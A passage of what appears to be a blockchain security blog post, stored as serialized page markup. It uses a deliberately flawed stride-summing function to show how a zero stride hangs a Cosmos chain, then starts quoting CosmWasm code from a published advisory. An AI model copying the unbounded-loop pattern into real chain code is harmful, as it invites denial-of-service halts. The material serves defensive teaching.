examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":22,"tag":23,"props":77476,"children":77478},{"id":77477},"its-loopin-time",[77479],{"type":28,"value":77480},"It's Loopin' Time",{"type":22,"tag":31,"props":77482,"children":77483},{},[77484],{"type":28,"value":77485},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":22,"tag":31,"props":77487,"children":77488},{},[77489],{"type":28,"value":77490},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":22,"tag":31,"props":77492,"children":77493},{},[77494],{"type":28,"value":77495},"Here is a simple example for reference:",{"type":22,"tag":107,"props":77497,"children":77499},{"code":77498,"language":6486,"meta":7,"className":6487,"style":7},"function sumWithStride(\n    uint64 start,\n    uint64 stride,\n    uint64[] memory arr\n) public returns (uint64) {\n    uint64 idx = start;\n    uint64 sum = 0;\n    uint64 end = arr.length;\n\n    while (idx \u003C end) {\n        sum += arr[idx];\n        idx += stride;\n    }\n    return sum;\n}\n",[77500],{"type":22,"tag":114,"props":77501,"children":77502},{"__ignoreMap":7},[77503,77519,77536,77552,77574,77603,77624,77648,77669,77676,77697,77714,77731,77738,77750],{"type":22,"tag":118,"props":77504,"children":77505},{"class":120,"line":121},[77506,77510,77515],{"type":22,"tag":118,"props":77507,"children":77508},{"style":146},[77509],{"type":28,"value":33316},{"type":22,"tag":118,"props":77511,"children":77512},{"style":532},[77513],{"type":28,"value":77514}," sumWithStride",{"type":22,"tag":118,"props":77516,"children":77517},{"style":125},[77518],{"type":28,"value":696},{"type":22,"tag":118,"props":77520,"children":77521},{"class":120,"line":142},[77522,77527,77532],{"type":22,"tag":118,"props":77523,"children":77524},{"style":131},[77525],{"type":28,"value":77526},"    uint64",{"type":22,"tag":118,"props":77528,"children":77529},{"style":204},[77530],{"type":28,"value":77531}," start",{"type":22,"tag":118,"props":77533,"children":77534},{"style":125},[77535],{"type":28,"value":782},{"type":22,"tag":118,"props":77537,"children":77538},{"class":120,"line":177},[77539,77543,77548],{"type":22,"tag":118,"props":77540,"children":77541},{"style":131},[77542],{"type":28,"value":77526},{"type":22,"tag":118,"props":77544,"children":77545},{"style":204},[77546],{"type":28,"value":77547}," stride",{"type":22,"tag":118,"props":77549,"children":77550},{"style":125},[77551],{"type":28,"value":782},{"type":22,"tag":118,"props":77553,"children":77554},{"class":120,"line":195},[77555,77559,77564,77569],{"type":22,"tag":118,"props":77556,"children":77557},{"style":131},[77558],{"type":28,"value":77526},{"type":22,"tag":118,"props":77560,"children":77561},{"style":125},[77562],{"type":28,"value":77563},"[] ",{"type":22,"tag":118,"props":77565,"children":77566},{"style":146},[77567],{"type":28,"value":77568},"memory",{"type":22,"tag":118,"props":77570,"children":77571},{"style":204},[77572],{"type":28,"value":77573}," arr\n",{"type":22,"tag":118,"props":77575,"children":77576},{"class":120,"line":244},[77577,77581,77585,77590,77594,77599],{"type":22,"tag":118,"props":77578,"children":77579},{"style":125},[77580],{"type":28,"value":588},{"type":22,"tag":118,"props":77582,"children":77583},{"style":146},[77584],{"type":28,"value":63616},{"type":22,"tag":118,"props":77586,"children":77587},{"style":1480},[77588],{"type":28,"value":77589}," returns",{"type":22,"tag":118,"props":77591,"children":77592},{"style":125},[77593],{"type":28,"value":842},{"type":22,"tag":118,"props":77595,"children":77596},{"style":131},[77597],{"type":28,"value":77598},"uint64",{"type":22,"tag":118,"props":77600,"children":77601},{"style":125},[77602],{"type":28,"value":16783},{"type":22,"tag":118,"props":77604,"children":77605},{"class":120,"line":253},[77606,77610,77615,77619],{"type":22,"tag":118,"props":77607,"children":77608},{"style":131},[77609],{"type":28,"value":77526},{"type":22,"tag":118,"props":77611,"children":77612},{"style":125},[77613],{"type":28,"value":77614}," idx ",{"type":22,"tag":118,"props":77616,"children":77617},{"style":210},[77618],{"type":28,"value":282},{"type":22,"tag":118,"props":77620,"children":77621},{"style":125},[77622],{"type":28,"value":77623}," start;\n",{"type":22,"tag":118,"props":77625,"children":77626},{"class":120,"line":263},[77627,77631,77636,77640,77644],{"type":22,"tag":118,"props":77628,"children":77629},{"style":131},[77630],{"type":28,"value":77526},{"type":22,"tag":118,"props":77632,"children":77633},{"style":125},[77634],{"type":28,"value":77635}," sum ",{"type":22,"tag":118,"props":77637,"children":77638},{"style":210},[77639],{"type":28,"value":282},{"type":22,"tag":118,"props":77641,"children":77642},{"style":674},[77643],{"type":28,"value":5074},{"type":22,"tag":118,"props":77645,"children":77646},{"style":125},[77647],{"type":28,"value":801},{"type":22,"tag":118,"props":77649,"children":77650},{"class":120,"line":318},[77651,77655,77660,77664],{"type":22,"tag":118,"props":77652,"children":77653},{"style":131},[77654],{"type":28,"value":77526},{"type":22,"tag":118,"props":77656,"children":77657},{"style":125},[77658],{"type":28,"value":77659}," end ",{"type":22,"tag":118,"props":77661,"children":77662},{"style":210},[77663],{"type":28,"value":282},{"type":22,"tag":118,"props":77665,"children":77666},{"style":125},[77667],{"type":28,"value":77668}," arr.length;\n",{"type":22,"tag":118,"props":77670,"children":77671},{"class":120,"line":351},[77672],{"type":22,"tag":118,"props":77673,"children":77674},{"emptyLinePlaceholder":15},[77675],{"type":28,"value":250},{"type":22,"tag":118,"props":77677,"children":77678},{"class":120,"line":359},[77679,77683,77688,77692],{"type":22,"tag":118,"props":77680,"children":77681},{"style":1480},[77682],{"type":28,"value":66315},{"type":22,"tag":118,"props":77684,"children":77685},{"style":125},[77686],{"type":28,"value":77687}," (idx ",{"type":22,"tag":118,"props":77689,"children":77690},{"style":210},[77691],{"type":28,"value":559},{"type":22,"tag":118,"props":77693,"children":77694},{"style":125},[77695],{"type":28,"value":77696}," end) {\n",{"type":22,"tag":118,"props":77698,"children":77699},{"class":120,"line":368},[77700,77705,77709],{"type":22,"tag":118,"props":77701,"children":77702},{"style":125},[77703],{"type":28,"value":77704},"        sum ",{"type":22,"tag":118,"props":77706,"children":77707},{"style":210},[77708],{"type":28,"value":70376},{"type":22,"tag":118,"props":77710,"children":77711},{"style":125},[77712],{"type":28,"value":77713}," arr[idx];\n",{"type":22,"tag":118,"props":77715,"children":77716},{"class":120,"line":384},[77717,77722,77726],{"type":22,"tag":118,"props":77718,"children":77719},{"style":125},[77720],{"type":28,"value":77721},"        idx ",{"type":22,"tag":118,"props":77723,"children":77724},{"style":210},[77725],{"type":28,"value":70376},{"type":22,"tag":118,"props":77727,"children":77728},{"style":125},[77729],{"type":28,"value":77730}," stride;\n",{"type":22,"tag":118,"props":77732,"children":77733},{"class":120,"line":417},[77734],{"type":22,"tag":118,"props":77735,"children":77736},{"style":125},[77737],{"type":28,"value":1254},{"type":22,"tag":118,"props":77739,"children":77740},{"class":120,"line":425},[77741,77745],{"type":22,"tag":118,"props":77742,"children":77743},{"style":1480},[77744],{"type":28,"value":18954},{"type":22,"tag":118,"props":77746,"children":77747},{"style":125},[77748],{"type":28,"value":77749}," sum;\n",{"type":22,"tag":118,"props":77751,"children":77752},{"class":120,"line":441},[77753],{"type":22,"tag":118,"props":77754,"children":77755},{"style":125},[77756],{"type":28,"value":481},{"type":22,"tag":107,"props":77758,"children":77762},{"code":77759,"language":77760,"meta":7,"className":77761,"style":7},"type MsgSumWithStrideParams struct {\n    Start uint64\n    Stride uint64\n    Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n    Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n    goCtx context.Context,\n    msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n    sum := uint64(0)\n    end := uint64(len(msg.Arr))\n    for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n        sum += msg.Arr[idx]\n    }\n    return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[77763],{"type":22,"tag":114,"props":77764,"children":77765},{"__ignoreMap":7},[77766,77786,77799,77811,77829,77836,77843,77863,77875,77882,77889,77924,77950,77971,78000,78030,78075,78152,78188,78195,78239],{"type":22,"tag":118,"props":77767,"children":77768},{"class":120,"line":121},[77769,77773,77778,77782],{"type":22,"tag":118,"props":77770,"children":77771},{"style":146},[77772],{"type":28,"value":34695},{"type":22,"tag":118,"props":77774,"children":77775},{"style":131},[77776],{"type":28,"value":77777}," MsgSumWithStrideParams",{"type":22,"tag":118,"props":77779,"children":77780},{"style":146},[77781],{"type":28,"value":154},{"type":22,"tag":118,"props":77783,"children":77784},{"style":125},[77785],{"type":28,"value":1474},{"type":22,"tag":118,"props":77787,"children":77788},{"class":120,"line":142},[77789,77794],{"type":22,"tag":118,"props":77790,"children":77791},{"style":204},[77792],{"type":28,"value":77793},"    Start",{"type":22,"tag":118,"props":77795,"children":77796},{"style":131},[77797],{"type":28,"value":77798}," uint64\n",{"type":22,"tag":118,"props":77800,"children":77801},{"class":120,"line":177},[77802,77807],{"type":22,"tag":118,"props":77803,"children":77804},{"style":204},[77805],{"type":28,"value":77806},"    Stride",{"type":22,"tag":118,"props":77808,"children":77809},{"style":131},[77810],{"type":28,"value":77798},{"type":22,"tag":118,"props":77812,"children":77813},{"class":120,"line":195},[77814,77819,77824],{"type":22,"tag":118,"props":77815,"children":77816},{"style":204},[77817],{"type":28,"value":77818},"    Arr",{"type":22,"tag":118,"props":77820,"children":77821},{"style":125},[77822],{"type":28,"value":77823}," []",{"type":22,"tag":118,"props":77825,"children":77826},{"style":131},[77827],{"type":28,"value":77828},"uint64\n",{"type":22,"tag":118,"props":77830,"children":77831},{"class":120,"line":244},[77832],{"type":22,"tag":118,"props":77833,"children":77834},{"style":125},[77835],{"type":28,"value":481},{"type":22,"tag":118,"props":77837,"children":77838},{"class":120,"line":253},[77839],{"type":22,"tag":118,"props":77840,"children":77841},{"emptyLinePlaceholder":15},[77842],{"type":28,"value":250},{"type":22,"tag":118,"props":77844,"children":77845},{"class":120,"line":263},[77846,77850,77855,77859],{"type":22,"tag":118,"props":77847,"children":77848},{"style":146},[77849],{"type":28,"value":34695},{"type":22,"tag":118,"props":77851,"children":77852},{"style":131},[77853],{"type":28,"value":77854}," MsgSumWithStrideResponse",{"type":22,"tag":118,"props":77856,"children":77857},{"style":146},[77858],{"type":28,"value":154},{"type":22,"tag":118,"props":77860,"children":77861},{"style":125},[77862],{"type":28,"value":1474},{"type":22,"tag":118,"props":77864,"children":77865},{"class":120,"line":318},[77866,77871],{"type":22,"tag":118,"props":77867,"children":77868},{"style":204},[77869],{"type":28,"value":77870},"    Sum",{"type":22,"tag":118,"props":77872,"children":77873},{"style":131},[77874],{"type":28,"value":77798},{"type":22,"tag":118,"props":77876,"children":77877},{"class":120,"line":351},[77878],{"type":22,"tag":118,"props":77879,"children":77880},{"style":125},[77881],{"type":28,"value":481},{"type":22,"tag":118,"props":77883,"children":77884},{"class":120,"line":359},[77885],{"type":22,"tag":118,"props":77886,"children":77887},{"emptyLinePlaceholder":15},[77888],{"type":28,"value":250},{"type":22,"tag":118,"props":77890,"children":77891},{"class":120,"line":368},[77892,77897,77901,77906,77911,77915,77920],{"type":22,"tag":118,"props":77893,"children":77894},{"style":146},[77895],{"type":28,"value":77896},"func",{"type":22,"tag":118,"props":77898,"children":77899},{"style":125},[77900],{"type":28,"value":842},{"type":22,"tag":118,"props":77902,"children":77903},{"style":204},[77904],{"type":28,"value":77905},"ms ",{"type":22,"tag":118,"props":77907,"children":77908},{"style":131},[77909],{"type":28,"value":77910},"msgServer",{"type":22,"tag":118,"props":77912,"children":77913},{"style":125},[77914],{"type":28,"value":588},{"type":22,"tag":118,"props":77916,"children":77917},{"style":532},[77918],{"type":28,"value":77919},"SumWithStride",{"type":22,"tag":118,"props":77921,"children":77922},{"style":125},[77923],{"type":28,"value":696},{"type":22,"tag":118,"props":77925,"children":77926},{"class":120,"line":384},[77927,77932,77937,77941,77946],{"type":22,"tag":118,"props":77928,"children":77929},{"style":204},[77930],{"type":28,"value":77931},"    goCtx",{"type":22,"tag":118,"props":77933,"children":77934},{"style":131},[77935],{"type":28,"value":77936}," context",{"type":22,"tag":118,"props":77938,"children":77939},{"style":125},[77940],{"type":28,"value":292},{"type":22,"tag":118,"props":77942,"children":77943},{"style":131},[77944],{"type":28,"value":77945},"Context",{"type":22,"tag":118,"props":77947,"children":77948},{"style":125},[77949],{"type":28,"value":782},{"type":22,"tag":118,"props":77951,"children":77952},{"class":120,"line":417},[77953,77958,77962,77967],{"type":22,"tag":118,"props":77954,"children":77955},{"style":204},[77956],{"type":28,"value":77957},"    msg",{"type":22,"tag":118,"props":77959,"children":77960},{"style":210},[77961],{"type":28,"value":11815},{"type":22,"tag":118,"props":77963,"children":77964},{"style":131},[77965],{"type":28,"value":77966},"MsgSumWithStrideParams",{"type":22,"tag":118,"props":77968,"children":77969},{"style":125},[77970],{"type":28,"value":782},{"type":22,"tag":118,"props":77972,"children":77973},{"class":120,"line":425},[77974,77979,77983,77988,77992,77996],{"type":22,"tag":118,"props":77975,"children":77976},{"style":125},[77977],{"type":28,"value":77978},") (",{"type":22,"tag":118,"props":77980,"children":77981},{"style":210},[77982],{"type":28,"value":671},{"type":22,"tag":118,"props":77984,"children":77985},{"style":131},[77986],{"type":28,"value":77987},"MsgSumWithStrideResponse",{"type":22,"tag":118,"props":77989,"children":77990},{"style":125},[77991],{"type":28,"value":231},{"type":22,"tag":118,"props":77993,"children":77994},{"style":131},[77995],{"type":28,"value":16841},{"type":22,"tag":118,"props":77997,"children":77998},{"style":125},[77999],{"type":28,"value":16783},{"type":22,"tag":118,"props":78001,"children":78002},{"class":120,"line":441},[78003,78008,78013,78018,78022,78026],{"type":22,"tag":118,"props":78004,"children":78005},{"style":204},[78006],{"type":28,"value":78007},"    sum",{"type":22,"tag":118,"props":78009,"children":78010},{"style":210},[78011],{"type":28,"value":78012}," :=",{"type":22,"tag":118,"props":78014,"children":78015},{"style":131},[78016],{"type":28,"value":78017}," uint64",{"type":22,"tag":118,"props":78019,"children":78020},{"style":125},[78021],{"type":28,"value":540},{"type":22,"tag":118,"props":78023,"children":78024},{"style":674},[78025],{"type":28,"value":6036},{"type":22,"tag":118,"props":78027,"children":78028},{"style":125},[78029],{"type":28,"value":3665},{"type":22,"tag":118,"props":78031,"children":78032},{"class":120,"line":475},[78033,78038,78042,78046,78050,78054,78058,78062,78066,78071],{"type":22,"tag":118,"props":78034,"children":78035},{"style":204},[78036],{"type":28,"value":78037},"    end",{"type":22,"tag":118,"props":78039,"children":78040},{"style":210},[78041],{"type":28,"value":78012},{"type":22,"tag":118,"props":78043,"children":78044},{"style":131},[78045],{"type":28,"value":78017},{"type":22,"tag":118,"props":78047,"children":78048},{"style":125},[78049],{"type":28,"value":540},{"type":22,"tag":118,"props":78051,"children":78052},{"style":532},[78053],{"type":28,"value":11137},{"type":22,"tag":118,"props":78055,"children":78056},{"style":125},[78057],{"type":28,"value":540},{"type":22,"tag":118,"props":78059,"children":78060},{"style":204},[78061],{"type":28,"value":59887},{"type":22,"tag":118,"props":78063,"children":78064},{"style":125},[78065],{"type":28,"value":292},{"type":22,"tag":118,"props":78067,"children":78068},{"style":204},[78069],{"type":28,"value":78070},"Arr",{"type":22,"tag":118,"props":78072,"children":78073},{"style":125},[78074],{"type":28,"value":3334},{"type":22,"tag":118,"props":78076,"children":78077},{"class":120,"line":484},[78078,78082,78087,78091,78096,78100,78105,78109,78114,78118,78123,78127,78131,78135,78139,78143,78148],{"type":22,"tag":118,"props":78079,"children":78080},{"style":1480},[78081],{"type":28,"value":5059},{"type":22,"tag":118,"props":78083,"children":78084},{"style":204},[78085],{"type":28,"value":78086}," idx",{"type":22,"tag":118,"props":78088,"children":78089},{"style":210},[78090],{"type":28,"value":78012},{"type":22,"tag":118,"props":78092,"children":78093},{"style":204},[78094],{"type":28,"value":78095}," msg",{"type":22,"tag":118,"props":78097,"children":78098},{"style":125},[78099],{"type":28,"value":292},{"type":22,"tag":118,"props":78101,"children":78102},{"style":204},[78103],{"type":28,"value":78104},"Start",{"type":22,"tag":118,"props":78106,"children":78107},{"style":125},[78108],{"type":28,"value":19191},{"type":22,"tag":118,"props":78110,"children":78111},{"style":204},[78112],{"type":28,"value":78113},"idx",{"type":22,"tag":118,"props":78115,"children":78116},{"style":210},[78117],{"type":28,"value":2197},{"type":22,"tag":118,"props":78119,"children":78120},{"style":204},[78121],{"type":28,"value":78122}," end",{"type":22,"tag":118,"props":78124,"children":78125},{"style":125},[78126],{"type":28,"value":19191},{"type":22,"tag":118,"props":78128,"children":78129},{"style":204},[78130],{"type":28,"value":78113},{"type":22,"tag":118,"props":78132,"children":78133},{"style":210},[78134],{"type":28,"value":17041},{"type":22,"tag":118,"props":78136,"children":78137},{"style":204},[78138],{"type":28,"value":78095},{"type":22,"tag":118,"props":78140,"children":78141},{"style":125},[78142],{"type":28,"value":292},{"type":22,"tag":118,"props":78144,"children":78145},{"style":204},[78146],{"type":28,"value":78147},"Stride",{"type":22,"tag":118,"props":78149,"children":78150},{"style":125},[78151],{"type":28,"value":1474},{"type":22,"tag":118,"props":78153,"children":78154},{"class":120,"line":492},[78155,78160,78164,78168,78172,78176,78180,78184],{"type":22,"tag":118,"props":78156,"children":78157},{"style":204},[78158],{"type":28,"value":78159},"        sum",{"type":22,"tag":118,"props":78161,"children":78162},{"style":210},[78163],{"type":28,"value":17041},{"type":22,"tag":118,"props":78165,"children":78166},{"style":204},[78167],{"type":28,"value":78095},{"type":22,"tag":118,"props":78169,"children":78170},{"style":125},[78171],{"type":28,"value":292},{"type":22,"tag":118,"props":78173,"children":78174},{"style":204},[78175],{"type":28,"value":78070},{"type":22,"tag":118,"props":78177,"children":78178},{"style":125},[78179],{"type":28,"value":5746},{"type":22,"tag":118,"props":78181,"children":78182},{"style":204},[78183],{"type":28,"value":78113},{"type":22,"tag":118,"props":78185,"children":78186},{"style":125},[78187],{"type":28,"value":13772},{"type":22,"tag":118,"props":78189,"children":78190},{"class":120,"line":501},[78191],{"type":22,"tag":118,"props":78192,"children":78193},{"style":125},[78194],{"type":28,"value":1254},{"type":22,"tag":118,"props":78196,"children":78197},{"class":120,"line":519},[78198,78202,78206,78210,78215,78220,78224,78229,78234],{"type":22,"tag":118,"props":78199,"children":78200},{"style":1480},[78201],{"type":28,"value":18954},{"type":22,"tag":118,"props":78203,"children":78204},{"style":210},[78205],{"type":28,"value":1430},{"type":22,"tag":118,"props":78207,"children":78208},{"style":131},[78209],{"type":28,"value":77987},{"type":22,"tag":118,"props":78211,"children":78212},{"style":125},[78213],{"type":28,"value":78214},"{",{"type":22,"tag":118,"props":78216,"children":78217},{"style":204},[78218],{"type":28,"value":78219},"Sum",{"type":22,"tag":118,"props":78221,"children":78222},{"style":125},[78223],{"type":28,"value":1319},{"type":22,"tag":118,"props":78225,"children":78226},{"style":204},[78227],{"type":28,"value":78228},"sum",{"type":22,"tag":118,"props":78230,"children":78231},{"style":125},[78232],{"type":28,"value":78233},"}, ",{"type":22,"tag":118,"props":78235,"children":78236},{"style":146},[78237],{"type":28,"value":78238},"nil\n",{"type":22,"tag":118,"props":78240,"children":78241},{"class":120,"line":606},[78242],{"type":22,"tag":118,"props":78243,"children":78244},{"style":125},[78245],{"type":28,"value":481},{"type":22,"tag":31,"props":78247,"children":78248},{},[78249,78251,78256,78257,78263],{"type":28,"value":78250},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":22,"tag":114,"props":78252,"children":78254},{"className":78253},[],[78255],{"type":28,"value":78113},{"type":28,"value":9320},{"type":22,"tag":114,"props":78258,"children":78260},{"className":78259},[],[78261],{"type":28,"value":78262},"stride",{"type":28,"value":78264},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":22,"tag":31,"props":78266,"children":78267},{},[78268],{"type":28,"value":78269},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":22,"tag":31,"props":78271,"children":78272},{},[78273],{"type":28,"value":78274},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":22,"tag":31,"props":78276,"children":78277},{},[78278],{"type":28,"value":78279},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":22,"tag":1289,"props":78281,"children":78283},{"id":78282},"real-world-examples",[78284],{"type":28,"value":78285},"Real-World Examples",{"type":22,"tag":31,"props":78287,"children":78288},{},[78289],{"type":28,"value":78290},"Now, let's examine a few real-world instances.",{"type":22,"tag":31,"props":78292,"children":78293},{},[78294,78296,78302,78303,78309,78311,78317,78319,78325],{"type":28,"value":78295},"In the case of ",{"type":22,"tag":42,"props":78297,"children":78300},{"href":78298,"rel":78299},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[46],[78301],{"type":28,"value":19658},{"type":28,"value":8467},{"type":22,"tag":114,"props":78304,"children":78306},{"className":78305},[],[78307],{"type":28,"value":78308},"CosmWasm",{"type":28,"value":78310}," bug, the helper method ",{"type":22,"tag":114,"props":78312,"children":78314},{"className":78313},[],[78315],{"type":28,"value":78316},"write_to_contract",{"type":28,"value":78318}," negligently calls the untrusted Wasm function ",{"type":22,"tag":114,"props":78320,"children":78322},{"className":78321},[],[78323],{"type":28,"value":78324},"\"allocate\"",{"type":28,"value":292},{"type":22,"tag":31,"props":78327,"children":78328},{},[78329],{"type":22,"tag":42,"props":78330,"children":78333},{"href":78331,"rel":78332},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[46],[78334],{"type":28,"value":78335},"Permalink for snippet",{"type":22,"tag":107,"props":78337,"children":78339},{"code":78338,"language":111,"meta":7,"className":109,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n    env: &Environment\u003CA, S, Q>,\n    input: &[u8],\n) -> VmResult\u003Cu32> {\n    let out_size = to_u32(input.len())?;\n    let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n    let target_ptr = ref_to_u32(&result)?;\n    if target_ptr == 0 {\n        return Err(CommunicationError::zero_address().into());\n    }\n    write_region(&env.memory(), target_ptr, input)?;\n    Ok(target_ptr)\n}\n",[78340],{"type":22,"tag":114,"props":78341,"children":78342},{"__ignoreMap":7},[78343,78412,78460,78488,78517,78566,78640,78685,78708,78753,78760,78817,78836],{"type":22,"tag":118,"props":78344,"children":78345},{"class":120,"line":121},[78346,78350,78355,78359,78364,78368,78373,78377,78381,78385,78390,78394,78399,78403,78408],{"type":22,"tag":118,"props":78347,"children":78348},{"style":146},[78349],{"type":28,"value":2603},{"type":22,"tag":118,"props":78351,"children":78352},{"style":532},[78353],{"type":28,"value":78354}," write_to_contract",{"type":22,"tag":118,"props":78356,"children":78357},{"style":125},[78358],{"type":28,"value":559},{"type":22,"tag":118,"props":78360,"children":78361},{"style":131},[78362],{"type":28,"value":78363},"A",{"type":22,"tag":118,"props":78365,"children":78366},{"style":210},[78367],{"type":28,"value":213},{"type":22,"tag":118,"props":78369,"children":78370},{"style":131},[78371],{"type":28,"value":78372}," BackendApi",{"type":22,"tag":118,"props":78374,"children":78375},{"style":125},[78376],{"type":28,"value":231},{"type":22,"tag":118,"props":78378,"children":78379},{"style":131},[78380],{"type":28,"value":24004},{"type":22,"tag":118,"props":78382,"children":78383},{"style":210},[78384],{"type":28,"value":213},{"type":22,"tag":118,"props":78386,"children":78387},{"style":131},[78388],{"type":28,"value":78389}," Storage",{"type":22,"tag":118,"props":78391,"children":78392},{"style":125},[78393],{"type":28,"value":231},{"type":22,"tag":118,"props":78395,"children":78396},{"style":131},[78397],{"type":28,"value":78398},"Q",{"type":22,"tag":118,"props":78400,"children":78401},{"style":210},[78402],{"type":28,"value":213},{"type":22,"tag":118,"props":78404,"children":78405},{"style":131},[78406],{"type":28,"value":78407}," Querier",{"type":22,"tag":118,"props":78409,"children":78410},{"style":125},[78411],{"type":28,"value":8598},{"type":22,"tag":118,"props":78413,"children":78414},{"class":120,"line":142},[78415,78419,78423,78427,78432,78436,78440,78444,78448,78452,78456],{"type":22,"tag":118,"props":78416,"children":78417},{"style":204},[78418],{"type":28,"value":5852},{"type":22,"tag":118,"props":78420,"children":78421},{"style":210},[78422],{"type":28,"value":213},{"type":22,"tag":118,"props":78424,"children":78425},{"style":210},[78426],{"type":28,"value":1430},{"type":22,"tag":118,"props":78428,"children":78429},{"style":131},[78430],{"type":28,"value":78431},"Environment",{"type":22,"tag":118,"props":78433,"children":78434},{"style":125},[78435],{"type":28,"value":559},{"type":22,"tag":118,"props":78437,"children":78438},{"style":131},[78439],{"type":28,"value":78363},{"type":22,"tag":118,"props":78441,"children":78442},{"style":125},[78443],{"type":28,"value":231},{"type":22,"tag":118,"props":78445,"children":78446},{"style":131},[78447],{"type":28,"value":24004},{"type":22,"tag":118,"props":78449,"children":78450},{"style":125},[78451],{"type":28,"value":231},{"type":22,"tag":118,"props":78453,"children":78454},{"style":131},[78455],{"type":28,"value":78398},{"type":22,"tag":118,"props":78457,"children":78458},{"style":125},[78459],{"type":28,"value":241},{"type":22,"tag":118,"props":78461,"children":78462},{"class":120,"line":177},[78463,78468,78472,78476,78480,78484],{"type":22,"tag":118,"props":78464,"children":78465},{"style":204},[78466],{"type":28,"value":78467},"    input",{"type":22,"tag":118,"props":78469,"children":78470},{"style":210},[78471],{"type":28,"value":213},{"type":22,"tag":118,"props":78473,"children":78474},{"style":210},[78475],{"type":28,"value":1430},{"type":22,"tag":118,"props":78477,"children":78478},{"style":125},[78479],{"type":28,"value":5746},{"type":22,"tag":118,"props":78481,"children":78482},{"style":131},[78483],{"type":28,"value":5439},{"type":22,"tag":118,"props":78485,"children":78486},{"style":125},[78487],{"type":28,"value":16245},{"type":22,"tag":118,"props":78489,"children":78490},{"class":120,"line":195},[78491,78495,78499,78504,78508,78513],{"type":22,"tag":118,"props":78492,"children":78493},{"style":125},[78494],{"type":28,"value":588},{"type":22,"tag":118,"props":78496,"children":78497},{"style":210},[78498],{"type":28,"value":593},{"type":22,"tag":118,"props":78500,"children":78501},{"style":131},[78502],{"type":28,"value":78503}," VmResult",{"type":22,"tag":118,"props":78505,"children":78506},{"style":125},[78507],{"type":28,"value":559},{"type":22,"tag":118,"props":78509,"children":78510},{"style":131},[78511],{"type":28,"value":78512},"u32",{"type":22,"tag":118,"props":78514,"children":78515},{"style":125},[78516],{"type":28,"value":174},{"type":22,"tag":118,"props":78518,"children":78519},{"class":120,"line":244},[78520,78524,78529,78533,78538,78542,78546,78550,78554,78558,78562],{"type":22,"tag":118,"props":78521,"children":78522},{"style":146},[78523],{"type":28,"value":4152},{"type":22,"tag":118,"props":78525,"children":78526},{"style":204},[78527],{"type":28,"value":78528}," out_size",{"type":22,"tag":118,"props":78530,"children":78531},{"style":210},[78532],{"type":28,"value":837},{"type":22,"tag":118,"props":78534,"children":78535},{"style":532},[78536],{"type":28,"value":78537}," to_u32",{"type":22,"tag":118,"props":78539,"children":78540},{"style":125},[78541],{"type":28,"value":540},{"type":22,"tag":118,"props":78543,"children":78544},{"style":204},[78545],{"type":28,"value":10369},{"type":22,"tag":118,"props":78547,"children":78548},{"style":210},[78549],{"type":28,"value":292},{"type":22,"tag":118,"props":78551,"children":78552},{"style":532},[78553],{"type":28,"value":11137},{"type":22,"tag":118,"props":78555,"children":78556},{"style":125},[78557],{"type":28,"value":43904},{"type":22,"tag":118,"props":78559,"children":78560},{"style":210},[78561],{"type":28,"value":796},{"type":22,"tag":118,"props":78563,"children":78564},{"style":125},[78565],{"type":28,"value":801},{"type":22,"tag":118,"props":78567,"children":78568},{"class":120,"line":253},[78569,78573,78577,78581,78585,78589,78594,78598,78602,78606,78610,78614,78619,78623,78627,78632,78636],{"type":22,"tag":118,"props":78570,"children":78571},{"style":146},[78572],{"type":28,"value":4152},{"type":22,"tag":118,"props":78574,"children":78575},{"style":204},[78576],{"type":28,"value":11158},{"type":22,"tag":118,"props":78578,"children":78579},{"style":210},[78580],{"type":28,"value":837},{"type":22,"tag":118,"props":78582,"children":78583},{"style":204},[78584],{"type":28,"value":44895},{"type":22,"tag":118,"props":78586,"children":78587},{"style":210},[78588],{"type":28,"value":292},{"type":22,"tag":118,"props":78590,"children":78591},{"style":532},[78592],{"type":28,"value":78593},"call_function1",{"type":22,"tag":118,"props":78595,"children":78596},{"style":125},[78597],{"type":28,"value":540},{"type":22,"tag":118,"props":78599,"children":78600},{"style":1866},[78601],{"type":28,"value":78324},{"type":22,"tag":118,"props":78603,"children":78604},{"style":125},[78605],{"type":28,"value":231},{"type":22,"tag":118,"props":78607,"children":78608},{"style":210},[78609],{"type":28,"value":1407},{"type":22,"tag":118,"props":78611,"children":78612},{"style":125},[78613],{"type":28,"value":5746},{"type":22,"tag":118,"props":78615,"children":78616},{"style":204},[78617],{"type":28,"value":78618},"out_size",{"type":22,"tag":118,"props":78620,"children":78621},{"style":210},[78622],{"type":28,"value":292},{"type":22,"tag":118,"props":78624,"children":78625},{"style":532},[78626],{"type":28,"value":16863},{"type":22,"tag":118,"props":78628,"children":78629},{"style":125},[78630],{"type":28,"value":78631},"()])",{"type":22,"tag":118,"props":78633,"children":78634},{"style":210},[78635],{"type":28,"value":796},{"type":22,"tag":118,"props":78637,"children":78638},{"style":125},[78639],{"type":28,"value":801},{"type":22,"tag":118,"props":78641,"children":78642},{